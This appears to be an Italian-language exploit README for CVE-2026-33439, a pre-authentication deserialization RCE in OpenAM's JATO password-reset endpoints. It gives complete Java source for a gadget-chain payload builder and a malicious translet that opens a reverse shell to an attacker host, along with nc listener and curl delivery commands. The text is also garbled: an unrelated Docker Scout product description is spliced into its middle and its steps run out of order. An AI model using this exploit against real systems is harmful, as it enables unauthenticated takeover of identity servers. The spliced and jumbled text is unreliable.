---

<div id="vulnerability_affected"/>

### ***Versioni interessate***

| Prodotto                    | Vulnerabile                                     | Corretto |
|-----------------------------|-------------------------------------------------|----------|
| OpenIdentityPlatform OpenAM | ≤ 16.0.5                                        | 16.0.6   |
| ForgeRock AM (downstream)   | Potenzialmente interessato a seconda della discendenza delle patch | -        |

---

<div id="vulnerability_attacksurface"/>

### ***Superficie di attacco***

Qualsiasi endpoint JATO ViewBean il cui JSP contiene un tag *< jato:form >* è sfruttabile in pre-autenticazione:

| Endpoint                  | Scopo                              |
|---------------------------|------------------------------------|
| /ui/PWResetUserValidation | Reimpostazione password - input identità utente |
| /ui/PWResetQuestion       | Reimpostazione password - domande di sicurezza  |

Gli endpoint di reimpostazione password sono il bersaglio principale: sono accessibili pubblicamente per progettazione e garantiscono il rendering dei tag *< jato:form >*.



---
---
---



<div id="gadgetchain"/>

## ***⚙️ La catena di gadget***

<div id="gadgetchain_deserialization101"/>

### ***Deserializzazione Java 101***

Quando Java deserializza un oggetto da un flusso di byte, chiama readObject() su ogni classe che ricostruisce, incluse gli oggetti annidati. Se un attaccante controlla il flusso di byte e inietta un oggetto il cui readObject() attiva una catena di chiamate a metodi che termina con l'esecuzione di codice, si ottiene una RCE tramite gadget chain.

Il punto chiave di CVE-2026-33439: la gadget chain non richiede librerie esterne. Ogni classe nella catena è inclusa all'interno dello stesso WAR di OpenAM `openam-core-16.0.5.jar, xalan-2.7.3.jar, and click-nodeps-2.3.0.jar`. <u>Ciò rende la vulnerabilità sfruttabile su qualsiasi distribuzione OpenAM predefinita.</u>

---

<div id="gadgetchain_encoding"/>

### ***Encoder.decodeHttp64***

Questo è il dettaglio critico che fa funzionare l'exploit. La classe `Encoder` in `jato-shaded-16.0.5.jar` utilizza l'encoder/decoder base64 URL-safe di Java - non la base64 standard, e non uno schema personalizzato di sostituzione dei caratteri.

Verificato decompilando Encoder.class:```bash
# Extract Encoder.class from the JATO JAR
jar xf /work/jato-shaded-16.0.5.jar com/iplanet/jato/util/Encoder.class

# Decompile and inspect decodeHttp64
javap -p -c com/iplanet/jato/util/Encoder.class | grep -A10 "decodeHttp64"

Il Base64 URL-safe usa '-' invece di '+' e '_' invece di '/', senza padding '='. La codifica corretta è:```java
Base64.getUrlEncoder().withoutPadding().encodeToString(serializedBytes)

**Passaggio 3 - Configurare OpenAM dal browser**

Navigare su "http://localhost:8080/openam", fare clic su "Crea configurazione predefinita" e impostare:

| Field                           | Value         |
|---------------------------------|---------------|
| Password utente predefinita (amadmin) | Lab@dm1n2026! |
| Password agente                  | secret12      |

Attendere circa 2 minuti per il completamento della configurazione.

**Passaggio 4 - Confermare che il Password Reset sia abilitato**

Accedere come amadmin → Configura → Servizi globali → Password Reset → abilitare l'interruttore → Salva modifiche.

**Passaggio 5 - Identificare gli endpoint JSP sfruttabili**

Trovare tutti i JSP nel WAR che contengono il tag *< jato:form >*, questi sono gli endpoint in cui viene attivata la deserializzazione di jato.clientSession:```powershell
# Identify all JSPs containing <jato:form> tags - these are the deserialization sinks
docker exec cve_2026_33439_openam grep -rl "jato:form" /usr/local/tomcat/webapps/openam

# Inspect web.xml to understand how the password reset servlet is mapped to HTTP routes
docker exec cve_2026_33439_openam grep -A5 -B5 "PWReset\|password" /usr/local/tomcat/webapps/openam/WEB-INF/web.xml | Select-String "url-pattern|servlet-name|PWReset|password"

| Docker Scout |

Docker Scout è uno strumento di sicurezza per la supply chain che ti aiuta a identificare e correggere le vulnerabilità nelle tue immagini container. Fornisce visibilità sui contenuti delle tue immagini, rileva le vulnerabilità e suggerisce azioni di remediation.

### Caratteristiche

- **Generazione SBOM**: Genera automaticamente una Software Bill of Materials (SBOM) per le tue immagini
- **Rilevamento delle vulnerabilità**: Identifica le vulnerabilità note nei pacchetti delle tue immagini
- **Consigli di remediation**: Ricevi raccomandazioni attuabili per affrontare i problemi di sicurezza
- **Valutazione delle policy**: Verifica le immagini rispetto alle policy di sicurezza della tua organizzazione
- **Integrazione**: Funziona con GitHub Actions, GitLab CI e altre piattaforme CI/CD

### Avvio rapido

Dopo aver installato Docker Desktop o Docker Engine, abilita Docker Scout:

```bash
docker scout enable

docker scout cves myimage:latest

$ docker scout cves alpine:latest
    ✓ SBOM of image scanned: 0 vulnerabilities detected

**Passaggio 6 - Verifica che l'endpoint sia raggiungibile prima dell'autenticazione**```powershell
(Invoke-WebRequest -Uri "http://localhost:8080/openam/ui/PWResetUserValidation" -UseBasicParsing).Content | Select-String "jato"

Output previsto che conferma base64 URL-safe:```
public static byte[] decodeHttp64(java.lang.String);
Code:
	0: invokestatic  #8  // Method java/util/Base64.getUrlDecoder:()Ljava/util/Base64$Decoder;
	3: aload_0
	4: invokevirtual #9  // Method java/util/Base64$Decoder.decode:(Ljava/lang/String;)[B
	7: areturn

Questo conferma che Column.getTable() deve restituire un oggetto Table non null, altrimenti compare() lancia NullPointerException prima di raggiungere getProperty() → TemplatesImpl.

---

<div id="exploitation_building"/>

### ***Costruzione dell'Exploit***

Tutti i comandi dall'interno del container dell'attaccante.

**Step 1 - Imposta il classpath**```bash
CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work

**Passo 3 - Scrivere e compilare PayloadBuilder.java**

PayloadBuilder costruisce la catena di gadget e restituisce il payload serializzato codificato in base64 URL-safe.```bash
cat > /work/PayloadBuilder.java << 'EOF'
import org.apache.xalan.xsltc.trax.TemplatesImpl;
import org.apache.xalan.xsltc.trax.TransformerFactoryImpl;
import org.openidentityplatform.openam.click.control.Column;
import org.openidentityplatform.openam.click.control.Table;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;

public class PayloadBuilder {

	// Encoder.decodeHttp64() uses Java URL-safe base64 (getUrlDecoder)
	static String encodeHttp64(byte[] data) {
		return Base64.getUrlEncoder().withoutPadding().encodeToString(data);
	}

	static void setField(Object obj, String name, Object value) throws Exception {
		Field f = obj.getClass().getDeclaredField(name);
		f.setAccessible(true);
		f.set(obj, value);
	}

	static void setFieldPQ(Object obj, String name, Object value) throws Exception {
		Field f = PriorityQueue.class.getDeclaredField(name);
		f.setAccessible(true);
		f.set(obj, value);
	}

	public static void main(String[] args) throws Exception {
		byte[] bytecode = Files.readAllBytes(Paths.get(args[0]));

		// Step 1 - TemplatesImpl with EvilTranslet bytecode
		// getOutputProperties() -> defineTransletClasses() -> newInstance() -> <clinit>
		TemplatesImpl templates = new TemplatesImpl();
		setField(templates, "_bytecodes",     new byte[][]{ bytecode });
		setField(templates, "_name",          "EvilTranslet");
		setField(templates, "_tfactory",      new TransformerFactoryImpl());
		setField(templates, "_transletIndex", 0);

		// Step 2 - Column with Table associated
		// Column$ColumnComparator.compare() calls column.getTable().isSortedAscending() before calling column.getProperty(). Table must not be null.
		Table table = new Table();
		Column column = new Column("outputProperties");
		column.setTable(table);

		@SuppressWarnings("unchecked")
		Comparator<Object> comparator = (Comparator<Object>) column.getComparator();

		// Step 3 - PriorityQueue as deserialization trigger
		// readObject() -> heapify() -> siftDown() -> comparator.compare()
		// Size must be >= 2 for heapify to call compare()
		PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
		setFieldPQ(queue, "queue", new Object[]{ templates, templates });
		setFieldPQ(queue, "size",  2);

		// Step 4 - Serialize and URL-safe base64 encode
		ByteArrayOutputStream baos = new ByteArrayOutputStream();
		ObjectOutputStream oos = new ObjectOutputStream(baos);
		oos.writeObject(queue);
		oos.close();

		System.out.println(encodeHttp64(baos.toByteArray()));
	}
}
EOF

javac -cp $CP /work/PayloadBuilder.java

---

<div id="exploitation_delivery"/>

### ***Consegna del Payload***

**Conferma la RCE con un callback HTTP out-of-band**

<p align="center">
	<img src="https://assets.kitploit.com/production/public/readmes/42320/30f9c39c35fabdb472cae9e28d7edb5c3edf4637b9d9334234dc02d56b774b85.png">
</p>

Terminale 1 - Listener:```
docker exec -it cve_2026_33439_attacker bash

nc -lvnp 9999

Se l'RCE funziona, il Terminal 1 riceve una connessione HTTP in entrata dal server OpenAM:```
nc -lvnp 9999
listening on [any] 9999 ...
connect to [10.13.37.2] from (UNKNOWN) [10.13.37.3] 51992
GET /pwned HTTP/1.1
Host: attacker:9999
User-Agent: curl/8.5.0
Accept: */*

Verifica da PowerShell:```
docker exec cve_2026_33439_openam ls -la /tmp/pwned

Terminal 2 - Consegna:```
docker exec -it cve_2026_33439_attacker bash

CMD='bash -i >& /dev/tcp/attacker/4444 0>&1'

B64CMD=$(echo "$CMD" | base64 -w 0)

cat > /work/EvilTranslet.java << EOF
import org.apache.xalan.xsltc.TransletException;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import org.apache.xml.dtm.DTMAxisIterator;
import org.apache.xml.serializer.SerializationHandler;
import org.apache.xalan.xsltc.DOM;

public class EvilTranslet extends AbstractTranslet {
	static {
		try {
			Runtime.getRuntime().exec(new String[]{"bash", "-c", "echo ${B64CMD} | base64 -d | bash"});
		} catch (Exception ignored) {}
	}
	public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
	public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
}
EOF

CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work

javac -cp $CP /work/EvilTranslet.java

java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_shell.b64

PAYLOAD=$(cat /work/payload_shell.b64)

curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato."